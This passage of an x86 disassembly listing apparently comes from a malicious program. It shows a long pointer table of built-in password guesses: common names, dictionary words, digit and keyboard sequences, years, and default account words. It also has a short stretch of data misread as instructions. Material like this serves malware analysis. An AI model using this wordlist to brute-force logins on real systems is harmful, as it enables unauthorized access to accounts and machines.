		dd offset aSpear	; "spear"
		dd offset aSpell	; "spell"
		dd offset aSpice	; "spice"
		dd offset aSpider	; "spider"
		dd offset aSpiderma	; "spiderma"
		dd offset aSpit		; "spit"
		dd offset aSpred	; "spred"
		dd offset aSpring	; "spring"
		dd offset aSpringer	; "springer"
		dd offset aSpunk	; "spunk"
		dd offset aSquires	; "squires"
		dd offset aSr71		; "sr71"
		dd offset aStacey	; "stacey"
		dd offset aStaci	; "staci"
		dd offset aStacie	; "stacie"
		dd offset aStacy	; "stacy"
		dd offset aStar		; "star"
		dd offset aStarship	; "starship"
		dd offset aStart	; "start"
		dd offset aStartrek	; "startrek"
		dd offset aStartup	; "startup"
		dd offset aStarwars	; "starwars"
		dd offset aSteak	; "steak"
		dd offset aSteal	; "steal"
		dd offset aSteel	; "steel"
		dd offset aSteph	; "steph"
		dd offset aStephani	; "stephani"
		dd offset aStereo	; "stereo"
		dd offset aSteve	; "steve"
		dd offset dword_430058
		dd offset aStoned	; "stoned"
		dd offset aStones	; "stones"
		dd offset aStrange	; "strange"
		dd offset aStrangle	; "strangle"
		dd offset aStratfor	; "stratfor"
		dd offset aStreetfi	; "streetfi"
		dd offset aString	; "string"
		dd offset aStrip	; "strip"
		dd offset aStudent	; "student"
		dd offset aStuttgar	; "stuttgar"
		dd offset aSubscrib	; "subscrib"
		dd offset aSubway	; "subway"
		dd offset aSuccess	; "success"
		dd offset aSuck		; "suck"
		dd offset aSuckmydi	; "suckmydi"
		dd offset aSucks	; "sucks"
		dd offset aSummer	; "summer"
		dd offset aSunday	; "sunday"
		dd offset aSuperman	; "superman"
		dd offset aSuperson	; "superson"
		dd offset aSupersta	; "supersta"
		dd offset aSuperuse	; "superuse"
		dd offset aSupervis	; "supervis"
		dd offset aSupport	; "support"
		dd offset aSupporte	; "supporte"
		dd offset aSurfer	; "surfer"
		dd offset aSurfing	; "surfing"
		dd offset aSusan	; "susan"
		dd offset aSusanne	; "susanne"
		dd offset aSusie	; "susie"
		dd offset aSuzanne	; "suzanne"
		dd offset aSuzie	; "suzie"
		dd offset aSwearer	; "swearer"
		dd offset aSweat	; "sweat"
		dd offset aSwitch	; "switch"
		dd offset aSword	; "sword"
		dd offset aSybil	; "sybil"
		dd offset aSymmetry	; "symmetry"
		dd offset aSysadmin	; "sysadmin"
		dd offset aSysop	; "sysop"
		dd offset aTabasco	; "tabasco"
		dd offset aTalk		; "talk"
		dd offset aTall		; "tall"
		dd offset aTamara	; "tamara"
		dd offset aTami		; "tami"
		dd offset aTamie	; "tamie"
		dd offset aTammy	; "tammy"
		dd offset aTangerin	; "tangerin"
		dd offset aTango	; "tango"
		dd offset aTape		; "tape"
		dd offset aTara		; "tara"
		dd offset aTarget	; "target"
		dd offset aTarragon	; "tarragon"
		dd offset aTaylor	; "taylor"
		dd offset aTeacher	; "teacher"
		dd offset aTeam		; "team"
		dd offset aTeapot	; "teapot"
		dd offset aTears	; "tears"
		dd offset aTech		; "tech"
		dd offset aTeen		; "teen"
		dd offset aTeenage	; "teenage"
		dd offset aTelephon	; "telephon"
		dd offset aTelnet	; "telnet"
		dd offset aTemptati	; "temptati"
		dd offset aTennis	; "tennis"
		dd offset aTera		; "tera"
		dd offset aTerminal	; "terminal"
		dd offset aTerminat	; "terminat"
		dd offset aTess		; "tess"
		dd offset aTetris	; "tetris"
		dd offset aText		; "text"
		dd offset aThailand	; "thailand"
		dd offset aTheresa	; "theresa"
		dd offset aThin		; "thin"
		dd offset aThursday	; "thursday"
		dd offset aTiffany	; "tiffany"
		dd offset aTiger	; "tiger"
		dd offset aTime		; "time"
		dd offset aTina		; "tina"
		dd offset aTits		; "tits"
		dd offset aToad		; "toad"
		dd offset aToggle	; "toggle"
		dd offset aToken	; "token"
		dd offset aTokenrin	; "tokenrin"
		dd offset aTomato	; "tomato"
		dd offset aTopograp	; "topograp"
		dd offset aTortoise	; "tortoise"
		dd offset aToxic	; "toxic"
		dd offset aToyota	; "toyota"
		dd offset aTraci	; "traci"
		dd offset aTracie	; "tracie"
		dd offset aTracy	; "tracy"
		dd offset aTrails	; "trails"
		dd offset aTransfer	; "transfer"
		dd offset aTrap		; "trap"
		dd offset aTrapdoor	; "trapdoor"
		dd offset aTree		; "tree"
		dd offset aTrek		; "trek"
		dd offset aTrisha	; "trisha"
		dd offset aTrivial	; "trivial"
		dd offset aTrojan	; "trojan"
		dd offset aTrombone	; "trombone"
		dd offset aTron		; "tron"
		dd offset aTrue		; "true"
		dd offset aTruth	; "truth"
		dd offset aTubas	; "tubas"
		dd offset aTuesday	; "tuesday"
		dd offset aTurn		; "turn"
		dd offset aTuttle	; "tuttle"
		dd offset aUgly		; "ugly"
		dd offset aUmesh	; "umesh"
		dd offset aUncle	; "uncle"
		dd offset aUndo		; "undo"
		dd offset aUnhappy	; "unhappy"
		dd offset aUnicorn	; "unicorn"
		dd offset aUniform	; "uniform"
		dd offset aUniversa	; "universa"
		dd offset aUniverse	; "universe"
		dd offset aUniversi	; "universi"
		dd offset aUnknown_0	; "unknown"
		dd offset aUnlock	; "unlock"
		dd offset aUpload	; "upload"
		dd offset aUranus	; "uranus"
		dd offset aUrchin	; "urchin"
		dd offset aUrsula	; "ursula"
		dd offset aUsenet	; "usenet"
		dd offset aUsermane	; "usermane"
		dd offset aUsername	; "username"
		dd offset aUsmc		; "usmc"
		dd offset aUtil		; "util"
		dd offset aUtility	; "utility"
		dd offset aUucp		; "uucp"
		dd offset aVagina	; "vagina"
		dd offset aValerie	; "valerie"
		dd offset aVampire	; "vampire"
		dd offset aVasant	; "vasant"
		dd offset aVenus	; "venus"
		dd offset aVeronica	; "veronica"
		dd offset aVertigo	; "vertigo"
		dd offset aVicky	; "vicky"
		dd offset aVictor	; "victor"
		dd offset aVideo	; "video"
		dd offset aVideogam	; "videogam"
		dd offset aVillage	; "village"
		dd offset aVirgin	; "virgin"
		dd offset aVirginia	; "virginia"
		dd offset aVirus	; "virus"
		dd offset aVisitor	; "visitor"
		dd offset aVisual	; "visual"
		dd offset aVisualba	; "visualba"
		dd offset aVodka	; "vodka"
		dd offset aWaco		; "waco"
		dd offset aWard		; "ward"
		dd offset aWarez	; "warez"
		dd offset aWarfare	; "warfare"
		dd offset aWargames	; "wargames"
		dd offset aWarp		; "warp"
		dd offset aWarren	; "warren"
		dd offset aWasp		; "wasp"
		dd offset aWatchwor	; "watchwor"
		dd offset aWater	; "water"
		dd offset aWave		; "wave"
		dd offset aWebpage	; "webpage"
		dd offset aWednesda	; "wednesda"
		dd offset aWeed		; "weed"
		dd offset aWeenie	; "weenie"
		dd offset aWell		; "well"
		dd offset aWendi	; "wendi"
		dd offset aWendy	; "wendy"
		dd offset aWerewolf	; "werewolf"
		dd offset aWest		; "west"
		dd offset aWestern	; "western"
		dd offset aWhatever	; "whatever"
		dd offset aWhatnot	; "whatnot"
		dd offset aWhisky	; "whisky"
		dd offset aWhite	; "white"
		dd offset aWhiting	; "whiting"
		dd offset aWhitney	; "whitney"
		dd offset aWholesal	; "wholesal"
		dd offset aWhore	; "whore"
		dd offset aWill		; "will"
		dd offset aWilliam	; "william"
		dd offset aWilliams	; "williams"
		dd offset aWillie	; "willie"
		dd offset aWilma	; "wilma"
		dd offset aWindows	; "windows"
		dd offset aWine		; "wine"
		dd offset aWing		; "wing"
		dd offset aWinston	; "winston"
		dd offset aWired	; "wired"
		dd offset aWisconsi	; "wisconsi"
		dd offset aWiseass	; "wiseass"
		dd offset aWithin	; "within"
		dd offset aWizard	; "wizard"
		dd offset aWolf		; "wolf"
		dd offset aWolverin	; "wolverin"
		dd offset aWoman	; "woman"
		dd offset aWombat	; "wombat"
		dd offset aWomen	; "women"
		dd offset aWood		; "wood"
		dd offset aWoodwind	; "woodwind"
		dd offset aWord		; "word"
		dd offset aWordperf	; "wordperf"
		dd offset aWorf		; "worf"
		dd offset aWork		; "work"
		dd offset aWorm		; "worm"
		dd offset aWormwood	; "wormwood"
		dd offset aWwii		; "wwii"
		dd offset aWyoming	; "wyoming"
		dd offset aXena		; "xena"
		dd offset aXfer		; "xfer"
		dd offset aXman		; "xman"
		dd offset aXmen		; "xmen"
		dd offset aXmodem	; "xmodem"
		dd offset aXray		; "xray"
		dd offset aXyzzy	; "xyzzy"
		dd offset aYaco		; "yaco"
		dd offset aYang		; "yang"
		dd offset aYankee	; "yankee"
		dd offset aYellow	; "yellow"
		dd offset aYellowst	; "yellowst"
		dd offset aYolanda	; "yolanda"
		dd offset aYosemite	; "yosemite"
		dd offset aYoung	; "young"
		dd offset aZebra	; "zebra"
		dd offset aZeitgeis	; "zeitgeis"
		dd offset aZiggy	; "ziggy"
		dd offset aZimmerma	; "zimmerma"
		dd offset aZmodem	; "zmodem"
		dd offset aZombie	; "zombie"
		dd offset aZulu		; "zulu"
		dd offset a00000000	; "00000000"
		dd offset aTester	; "tester"
		dd offset aTestin	; "testin"
		dd offset aRoss		; "Ross"
		dd offset aRosco	; "Rosco"
		dd offset aRoscop	; "RoscoP"
		dd offset aRoscopcoltrane ; "RoscoPColtrane"
		dd offset aLol		; "lol"
		dd offset aD00d		; "d00d"
		dd offset aDudette	; "dudette"
		dd offset aDud3		; "dud3"
		dd offset aAl3x		; "Al3x"
		dd offset aAlexander	; "Alexander"
		dd offset aDonaldduck	; "donaldduck"
		dd offset aWileecoyote	; "wileecoyote"
		dd offset aWindowz	; "windowz"
		dd offset aWindoze	; "windoze"
		dd offset aWindose	; "windose"
		dd offset aBilly	; "billy"
		dd offset aM_0		; "M$"
		dd offset aMs		; "MS"
		dd offset aWindowsxp	; "WindowsXP"
		dd offset aWindows2k	; "windows2k"
		dd offset aWindowsme	; "windowsME"
		dd offset aWindows98	; "windows98"
		dd offset aWindows95	; "windows95"
		dd offset aWindozexp	; "windozexp"
		dd offset aWindoze2k	; "windoze2k"
		dd offset aWindozeme	; "windozeME"
		dd offset aWindoze98	; "windoze98"
		dd offset aWindoze95	; "windoze95"
		dd offset aWh0r3	; "wh0r3"
		dd offset aHo		; "ho"
		dd offset aWh0re	; "wh0re"
		dd offset aHax		; "hax"
		dd offset aHaxing	; "haxing"
		dd offset aH4x1ng	; "h4x1ng"
		dd offset aH4x0r1ng	; "h4x0r1ng"
		dd offset aH4x0ring	; "h4x0ring"
		dd offset aAda		; "ada"
		dd offset aAlbatross	; "albatross"
		dd offset aAlf		; "alf"
		dd offset aAma		; "ama"
		dd offset aAmorphous	; "amorphous"
		dd offset aAmy		; "amy"
		dd offset aAndromache	; "andromache"
		dd offset aAnn		; "ann"
		dd offset aAnthropogenic ; "anthropogenic"
		dd offset aAsd		; "asd"
		dd offset aAsm		; "asm"
		dd offset aAtmosphere	; "atmosphere"
		dd offset aBeethoven	; "beethoven"
		dd offset aBicameral	; "bicameral"
		dd offset aBob		; "bob"
		dd offset aBsd		; "bsd"
		dd offset aCad		; "cad"
		dd offset aCampanile	; "campanile"
		dd offset aCat		; "cat"
		dd offset aCatherine	; "catherine"
		dd offset aChemistry	; "chemistry"
		dd offset aChristina	; "christina"
		dd offset aChristine	; "christine"
		dd offset aCommrades	; "commrades"
		dd offset aCornelius	; "cornelius"
		dd offset aDeb		; "deb"
		dd offset aDesperate	; "desperate"
		dd offset aDiscovery	; "discovery"
		dd offset aDog		; "dog"
		dd offset aDos		; "dos"
		dd offset aEdinburgh	; "edinburgh"
		dd offset aEiderdown	; "eiderdown"
		dd offset aElizabeth	; "elizabeth"
		dd offset aEnterprise	; "enterprise"
		dd offset aEstablish	; "establish"
		dd offset aExtension	; "extension"
		dd offset aFoolproof	; "foolproof"
		dd offset aForesight	; "foresight"
		dd offset aFun		; "fun"
		dd offset aGnu		; "gnu"
		dd offset aHal		; "hal"
		dd offset aHappening	; "happening"
		dd offset aIbm		; "ibm"
		dd offset aImbroglio	; "imbroglio"
		dd offset aInnocuous	; "innocuous"
		dd offset aJen		; "jen"
		dd offset aJoy		; "joy"
		dd offset aKey		; "key"
		dd offset aKim		; "kim"
		dd offset aLamination	; "lamination"
		dd offset aLee		; "lee"
		dd offset aLiz		; "liz"
		dd offset aMacintosh	; "macintosh"
		dd offset aMgr		; "mgr"
		dd offset aMit		; "mit"
		dd offset aNet		; "net"
		dd offset aNew		; "new"
		dd offset aNutrition	; "nutrition"
		dd offset aOceanography	; "oceanography"
		dd offset aPad		; "pad"
		dd offset aPam		; "pam"
		dd offset aPercolate	; "percolate"
		dd offset aPersimmon	; "persimmon"
		dd offset aPolynomial	; "polynomial"
		dd offset aPondering	; "pondering"
		dd offset aPrinceton	; "princeton"
		dd offset aProfessor	; "professor"
		dd offset aPub		; "pub"
		dd offset aRachmaninoff	; "rachmaninoff"
		dd offset aRje		; "rje"
		dd offset aRochester	; "rochester"
		dd offset aSal		; "sal"
		dd offset aSheffield	; "sheffield"
		dd offset aSignature	; "signature"
		dd offset aStephanie	; "stephanie"
		dd offset aStratford	; "stratford"
		dd offset aStuttgart	; "stuttgart"
		dd offset aSun		; "sun"
		dd offset aSuperstage	; "superstage"
		dd offset aSuperuser	; "superuser"
		dd offset aSupported	; "supported"
		dd offset aSys		; "sys"
		dd offset aTangerine	; "tangerine"
		dd offset aTelephone	; "telephone"
		dd offset aTemptation	; "temptation"
		dd offset aTopography	; "topography"
		dd offset aTty		; "tty"
		dd offset aWholesale	; "wholesale"
		dd offset aWilliamsburg	; "williamsburg"
		dd offset aWisconsin	; "wisconsin"
		dd offset aXyz		; "xyz"
		dd offset aYellowstone	; "yellowstone"
		dd offset aZap		; "zap"
		dd offset aZimmerman	; "zimmerman"
		dd offset dword_42F3A8
		dd offset dword_42F3A4
		dd offset dword_42F3A0
		dd offset dword_42F39C
		dd offset dword_42F394
		dd offset dword_42F38C
		dd offset dword_42F384
		dd offset dword_42F378
		dd offset loc_4263DB+1
		dd offset dword_42F374
		dd offset off_42F370
		dd offset a@_6		; "@"
		dd offset a@@		; "@@"
		dd offset asc_42F364	; "+"
		dd offset asc_42F360	; "++"
		dd offset asc_42F35C	; "+++"
		dd offset asc_42F354	; "++++"
		dd offset asc_42F350	; "-"
		dd offset asc_42F34C	; "--"
		dd offset asc_42F34C	; "--"
		dd offset asc_42F344	; "----"
		dd offset asc_42F340	; "-+"
		dd offset asc_42F338	; "--++"
		dd offset a0		; "=-0"
		dd offset a789_0	; "789+"
		dd offset a456_0	; "456+"
		dd offset asc_42F320	; "$"
		dd offset asc_42F31C	; "$$"
		dd offset asc_42F318	; "$$$"
		dd offset a@_5		; "*&^%$#@!"
		dd offset a@_4		; "&^%$#@!"
		dd offset a@_3		; "^%$#@!"
		dd offset a@_2		; "%$#@!"
		dd offset a@_1		; "$#@!"
		dd offset a@_0		; "#@!"
		dd offset a@		; "@!"
		dd offset dword_4263F0
		dd offset a00		; "00"
		dd offset a000		; "000"
		dd offset a0000		; "0000"
		dd offset a00000	; "00000"
		dd offset a000000	; "000000"
		dd offset a00000000	; "00000000"
		dd offset a000000000	; "000000000"
		dd offset a0000000000	; "0000000000"
		dd offset asc_426C78	; "*"
		dd offset asc_42F2C8	; "**"
		dd offset asc_42F2C4	; "***"
		dd offset asc_42F2BC	; "****"
		dd offset asc_42F2B4	; "*****"
		dd offset asc_42F2AC	; "******"
		dd offset asc_42F2A4	; "*******"
		dd offset asc_42F298	; "********"
		dd offset asc_42F28C	; "*********"
		dd offset a001		; "001"
		dd offset a002		; "002"
		dd offset a003		; "003"
		dd offset a004		; "004"
		dd offset a005		; "005"
		dd offset a006		; "006"
		dd offset a007		; "007"
		dd offset a008		; "008"
		dd offset a009		; "009"
		dd offset a010		; "010"
		dd offset a0wn3d	; "0wn3d"
		dd offset a0wned	; "0wned"
		dd offset a1		; "1"
		dd offset a11		; "11"
		dd offset a111		; "111"
		dd offset a1111		; "1111"
		dd offset a11111	; "11111"
		dd offset a111111	; "111111"
		dd offset a1111111	; "1111111"
		dd offset a11111111	; "11111111"
		dd offset a111111111	; "111111111"
		dd offset a1111111111	; "1111111111"
		dd offset a2		; "2"
		dd offset a22		; "22"
		dd offset a222		; "222"
		dd offset a2222		; "2222"
		dd offset a22222	; "22222"
		dd offset a222222	; "222222"
		dd offset a2222222	; "2222222"
		dd offset a22222222	; "22222222"
		dd offset a222222222	; "222222222"
		dd offset a2222222222	; "2222222222"
		dd offset a3		; "3"
		dd offset a33		; "33"
		dd offset a333		; "333"
		dd offset a3333		; "3333"
		dd offset a33333	; "33333"
		dd offset a333333	; "333333"
		dd offset a3333333	; "3333333"
		dd offset a33333333	; "33333333"
		dd offset a333333333	; "333333333"
		dd offset a3333333333	; "3333333333"
		dd offset a4		; "4"
		dd offset a44		; "44"
		dd offset a444		; "444"
		dd offset a4444		; "4444"
		dd offset a44444	; "44444"
		dd offset a444444	; "444444"
		dd offset a4444444	; "4444444"
		dd offset a44444444	; "44444444"
		dd offset a444444444	; "444444444"
		dd offset a4444444444	; "4444444444"
		dd offset a5		; "5"
		dd offset a55		; "55"
		dd offset a555		; "555"
		dd offset a5555		; "5555"
		dd offset a55555	; "55555"
		dd offset a555555	; "555555"
		dd offset a5555555	; "5555555"
		dd offset a55555555	; "55555555"
		dd offset a555555555	; "555555555"
		dd offset a5555555555	; "5555555555"
		dd offset a6		; "6"
		dd offset a66		; "66"
		dd offset a666		; "666"
		dd offset a6666		; "6666"
		dd offset a66666	; "66666"
		dd offset a666666	; "666666"
		dd offset a6666666	; "6666666"
		dd offset a66666666	; "66666666"
		dd offset a666666666	; "666666666"
		dd offset a6666666666	; "6666666666"
		dd offset a7		; "7"
		dd offset a77		; "77"
		dd offset a777		; "777"
		dd offset a7777		; "7777"
		dd offset a77777	; "77777"
		dd offset a777777	; "777777"
		dd offset a7777777	; "7777777"
		dd offset a77777777	; "77777777"
		dd offset a777777777	; "777777777"
		dd offset a7777777777	; "7777777777"
		dd offset a8		; "8"
		dd offset a88		; "88"
		dd offset a888		; "888"
		dd offset a8888		; "8888"
		dd offset a88888	; "88888"
		dd offset a888888	; "888888"
		dd offset a8888888	; "8888888"
		dd offset a88888888	; "88888888"
		dd offset a888888888	; "888888888"
		dd offset a8888888888	; "8888888888"
		dd offset a9		; "9"
		dd offset a99		; "99"
		dd offset a999		; "999"
		dd offset a9999		; "9999"
		dd offset a99999	; "99999"
		dd offset a999999	; "999999"
		dd offset a9999999	; "9999999"
		dd offset a99999999	; "99999999"
		dd offset a999999999	; "999999999"
		dd offset a9999999999	; "9999999999"
		dd offset a110		; "110"
		dd offset a7410		; "7410"
		dd offset a0147		; "0147"
		dd offset a1122		; "1122"
		dd offset a456		; "456"
		dd offset a654		; "654"
		dd offset a789		; "789"
		dd offset a987		; "987"
		dd offset a8520		; "8520"
		dd offset a0258		; "0258"
		dd offset a1020		; "1020"
		dd offset a12		; "12"
		dd offset a121		; "121"
		dd offset a121212	; "121212"
		dd offset a123		; "123"
		dd offset a123123	; "123123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a12346	; "12346"
		dd offset a123467	; "123467"
		dd offset a1234678	; "1234678"
		dd offset a12346789	; "12346789"
		dd offset a123467890	; "123467890"
		dd offset a1qwer	; "1qwer"
		dd offset a1abc		; "1abc"
		dd offset a1asd		; "1asd"
		dd offset a1qwe		; "1qwe"
		dd offset a12qwer	; "12qwer"
		dd offset a12abc	; "12abc"
		dd offset a12asd	; "12asd"
		dd offset a12qwe	; "12qwe"
		dd offset a123qwer	; "123qwer"
		dd offset a123abc	; "123abc"
		dd offset a123asd	; "123asd"
		dd offset a123qwe	; "123qwe"
		dd offset a1234qwer	; "1234qwer"
		dd offset a1234abc	; "1234abc"
		dd offset a1234asd	; "1234asd"
		dd offset a1234qwe	; "1234qwe"
		dd offset a1952		; "1952"
		dd offset a1953		; "1953"
		dd offset a1954		; "1954"
		dd offset a1955		; "1955"
		dd offset a1956		; "1956"
		dd offset a1957		; "1957"
		dd offset a1958		; "1958"
		dd offset a1959		; "1959"
		dd offset a1960		; "1960"
		dd offset a1961		; "1961"
		dd offset a1962		; "1962"
		dd offset a1963		; "1963"
		dd offset a1964		; "1964"
		dd offset a1965		; "1965"
		dd offset a1966		; "1966"
		dd offset a1967		; "1967"
		dd offset a1968		; "1968"
		dd offset a1969		; "1969"
		dd offset a1970		; "1970"
		dd offset a1971		; "1971"
		dd offset a1972		; "1972"
		dd offset a1973		; "1973"
		dd offset a1974		; "1974"
		dd offset a1975		; "1975"
		dd offset a1976		; "1976"
		dd offset a1977		; "1977"
		dd offset a1978		; "1978"
		dd offset a1979		; "1979"
		dd offset a1980		; "1980"
		dd offset a1981		; "1981"
		dd offset a1982		; "1982"
		dd offset a1983		; "1983"
		dd offset a1984		; "1984"
		dd offset a1985		; "1985"
		dd offset a1986		; "1986"
		dd offset a1987		; "1987"
		dd offset a1988		; "1988"
		dd offset a1989		; "1989"
		dd offset a1990		; "1990"
		dd offset a1991		; "1991"
		dd offset a1992		; "1992"
		dd offset a1993		; "1993"
		dd offset a1994		; "1994"
		dd offset a1995		; "1995"
		dd offset a1996		; "1996"
		dd offset a1997		; "1997"
		dd offset a1998		; "1998"
		dd offset a1999		; "1999"
		dd offset a2000		; "2000"
		dd offset a2001		; "2001"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2004		; "2004"
		dd offset a2005		; "2005"
		dd offset a2006		; "2006"
		dd offset a2600		; "2600"
		dd offset a321		; "321"
		dd offset a4321		; "4321"
		dd offset a54321	; "54321"
		dd offset a654321	; "654321"
		dd offset a7654321	; "7654321"
		dd offset aSony		; "sony"
		dd offset aSamsung_0	; "SAMSUNG"
		dd offset aSamsung	; "samsung"
		dd offset aSony_0	; "SONY"
		dd offset aMaster_0	; "MASTER"
		dd offset aMicrosoft	; "MICROSOFT"
		dd offset aDisc_0	; "DISC"
		dd offset aCreative	; "CREATIVE"
		dd offset aSex		; "SEX"
		dd offset aNokia	; "NOKIA"
		dd offset aXp		; "XP"
		dd offset aA_1		; "a"
		dd offset aAa		; "aa"
		dd offset aAaa		; "aaa"
		dd offset aAaaa		; "aaaa"
		dd offset aAaaaa	; "aaaaa"
		dd offset aAaaaaa	; "aaaaaa"
		dd offset aAaaaaaa	; "aaaaaaa"
		dd offset aAaaaaaaa	; "aaaaaaaa"
		dd offset aAaaaaaaaa	; "aaaaaaaaa"
		dd offset aPassword_0	; "Password"
		dd offset aPassword1	; "password1"
		dd offset aQw		; "qw"
		dd offset aQwe		; "qwe"
		dd offset aQwer		; "qwer"
		dd offset aQwert	; "qwert"
		dd offset aQwerty	; "qwerty"
		dd offset aQwertyu	; "qwertyu"
		dd offset aQwertyui	; "qwertyui"
		dd offset aQwertyuio	; "qwertyuio"
		dd offset aQwertyuiop	; "qwertyuiop"
		dd offset aRoot		; "root"
		dd offset aServer_0	; "server"
		dd offset aService	; "service"
		dd offset aServers	; "servers"
		dd offset aServices	; "services"
		dd offset aSystem	; "system"
		dd offset aSystem_0	; "SYSTEM"
		dd offset aChi_0	; "CHI"
		dd offset aChi		; "chi"
		dd offset aKor_0	; "kor"
		dd offset aTiger	; "tiger"
		dd offset aKor		; "KOR"
		dd offset aToyota_0	; "TOYOTA"
		dd offset aToyota	; "toyota"
		dd offset asc_432C24	; "x"
		dd offset aXx		; "xx"
		dd offset aXxx		; "xxx"
		dd offset aXxxx		; "xxxx"
		dd offset aXxxxx	; "xxxxx"
		dd offset aXxxxxx	; "xxxxxx"
		dd offset aXxxxxxx	; "xxxxxxx"
		dd offset aXxxxxxxx	; "xxxxxxxx"
		dd offset aXxxxxxxxx	; "xxxxxxxxx"
		dd offset aXyz		; "xyz"
		dd offset aYaco		; "yaco"
		dd offset aYang		; "yang"
		dd offset aKonyang	; "konyang"
		dd offset aZ		; "z"
; ---------------------------------------------------------------------------
		or	ah, ch
		inc	edx
		add	[esp+ebp*8], al
		inc	edx
		add	[eax+2Dh], bl
		inc	ebx
		add	ah, bh
		jmp	short loc_42E451
; ---------------------------------------------------------------------------
		align 10h
		dd offset aZxcvbn	; "zxcvbn"
		dd offset aZxcvbnm	; "zxcvbnm"
		dd offset aAs		; "as"
; ---------------------------------------------------------------------------
		movsb
		test	byte ptr [edx+0], 78h
		sub	eax, 0EBE00043h
		inc	edx
		add	al, bl
		jmp	short loc_42E46D
; ---------------------------------------------------------------------------
		align 4
		shr	bl, 1
		inc	edx
		add	ah, al
		jmp	short loc_42E475
; ---------------------------------------------------------------------------
		align 4
		mov	eax, 0B40042EBh
		jmp	short loc_42E47D
; ---------------------------------------------------------------------------
		align 4
		dd offset aWsx		; "wsx"
; ---------------------------------------------------------------------------
		lodsb
		jmp	short loc_42E485
; ---------------------------------------------------------------------------
		align 4
		dd offset aRfv		; "rfv"
; ---------------------------------------------------------------------------
		movsb
		jmp	short loc_42E48D
; ---------------------------------------------------------------------------
		align 4
		mov	al, ds:9C0042EBh


loc_42E451:				; CODE XREF: seg002:0042E40Dj
		jmp	short loc_42E495
; ---------------------------------------------------------------------------
		align 4
		xchg	eax, esp
		jmp	short loc_42E499
; ---------------------------------------------------------------------------
		align 4
		dd offset aBbbbb	; "bbbbb"
		dd offset aBbbbbb	; "bbbbbb"
		dd offset aBbbbbbb	; "bbbbbbb"
		dd offset aBbbbbbbb	; "bbbbbbbb"
		dd offset aBbbbbbbbb	; "bbbbbbbbb"
; ---------------------------------------------------------------------------
		pusha


loc_42E46D:				; CODE XREF: seg002:0042E429j
		jmp	short loc_42E4B1
; ---------------------------------------------------------------------------
		align 10h
		dd offset aCc		; "cc"
; ---------------------------------------------------------------------------
		pop	eax


loc_42E475:				; CODE XREF: seg002:0042E431j
		jmp	short loc_42E4B9
; ---------------------------------------------------------------------------
		align 4
		dd offset aCccc_0	; "cccc"
; ---------------------------------------------------------------------------
		dec	eax


loc_42E47D:				; CODE XREF: seg002:0042E439j
		jmp	short loc_42E4C1
; ---------------------------------------------------------------------------
		align 10h
		dd offset aCccccc	; "cccccc"
		db 38h
; ---------------------------------------------------------------------------


loc_42E485:				; CODE XREF: seg002:0042E441j
		jmp	short loc_42E4C9
; ---------------------------------------------------------------------------
		align 4
		sub	al, 0EBh
		inc	edx
		add	[eax], ah


loc_42E48D:				; CODE XREF: seg002:0042E449j
		jmp	short loc_42E4D1
; ---------------------------------------------------------------------------
		align 10h
		sbb	al, 0EBh
		inc	edx
		add	[eax], bl


loc_42E495:				; CODE XREF: seg002:loc_42E451j
		jmp	short loc_42E4D9
; ---------------------------------------------------------------------------
		align 4
		db 14h
; ---------------------------------------------------------------------------


loc_42E499:				; CODE XREF: seg002:0042E455j
		jmp	short near ptr loc_42E4D9+4
; ---------------------------------------------------------------------------
		align 4
		dd offset aDddd		; "dddd"
		dd offset aDdddd	; "ddddd"
		dd offset aF		; "f"
		dd offset aFf		; "ff"
		dd offset aFff		; "fff"
		db 0F0h
; ---------------------------------------------------------------------------


loc_42E4B1:				; CODE XREF: seg002:loc_42E46Dj
		jmp	far ptr	42h:0EAE80042h
; ---------------------------------------------------------------------------
		db 0E4h
; ---------------------------------------------------------------------------


loc_42E4B9:				; CODE XREF: seg002:loc_42E475j
		jmp	far ptr	42h:0EAE00042h
; ---------------------------------------------------------------------------
		db 0DCh
; ---------------------------------------------------------------------------


loc_42E4C1:				; CODE XREF: seg002:loc_42E47Dj
		jmp	far ptr	42h:0EAD40042h
; ---------------------------------------------------------------------------
		db 0CCh
; ---------------------------------------------------------------------------


loc_42E4C9:				; CODE XREF: seg002:loc_42E485j
		jmp	far ptr	42h:0EAC40042h
; ---------------------------------------------------------------------------
		db 0C0h
; ---------------------------------------------------------------------------


loc_42E4D1:				; CODE XREF: seg002:loc_42E48Dj
		jmp	far ptr	42h:0EABC0042h
; ---------------------------------------------------------------------------
		db 0B8h
; ---------------------------------------------------------------------------


loc_42E4D9:				; CODE XREF: seg002:loc_42E495j
					; seg002:loc_42E499j
		jmp	far ptr	42h:0EAB00042h
; ---------------------------------------------------------------------------
		dd offset aGgggg	; "ggggg"
		dd offset aGggggg	; "gggggg"
		dd offset asc_42EA9C	; "h"
		dd offset aHh		; "hh"
		dd offset aHhh		; "hhh"
		dd offset aHhhh		; "hhhh"
		dd offset aHhhhh	; "hhhhh"
		dd offset aHhhhhh	; "hhhhhh"
		dd offset aI_0		; "i"
		dd offset aIi		; "ii"
		dd offset aIii		; "iii"
		dd offset aIiii		; "iiii"
		dd offset aIiiii	; "iiiii"
		dd offset aIiiiii	; "iiiiii"
		dd offset aJ		; "j"
		dd offset aJj		; "jj"
		dd offset aJjj		; "jjj"
		dd offset aJjjj		; "jjjj"
		dd offset aJjjjj	; "jjjjj"
		dd offset aJjjjjj	; "jjjjjj"
		dd offset aK		; "k"
		dd offset aKk		; "kk"
		dd offset aKkk		; "kkk"
		dd offset aKkkk		; "kkkk"
		dd offset aKkkkk	; "kkkkk"
		dd offset aKkkkkk	; "kkkkkk"
		dd offset asc_42EA0C	; "l"
		dd offset aLl		; "ll"
		dd offset aLll		; "lll"
		dd offset aLlll		; "llll"
		dd offset aLllll	; "lllll"
		dd offset aLlllll	; "llllll"
		dd offset aM		; "m"
		dd offset aMm		; "mm"
		dd offset aMmm		; "mmm"
		dd offset aMmmm		; "mmmm"
		dd offset aMmmmm	; "mmmmm"
		dd offset aMmmmmm	; "mmmmmm"
		dd offset aN		; "n"
		dd offset aNn		; "nn"
		dd offset aNnn		; "nnn"
		dd offset aNnnn		; "nnnn"
		dd offset aNnnnn	; "nnnnn"
		dd offset aNnnnnn	; "nnnnnn"
		dd offset aO		; "o"
		dd offset aOo		; "oo"
		dd offset aOoo		; "ooo"
		dd offset aOooo		; "oooo"
		dd offset aOoooo	; "ooooo"
		dd offset aOooooo	; "oooooo"
		dd offset aP		; "p"
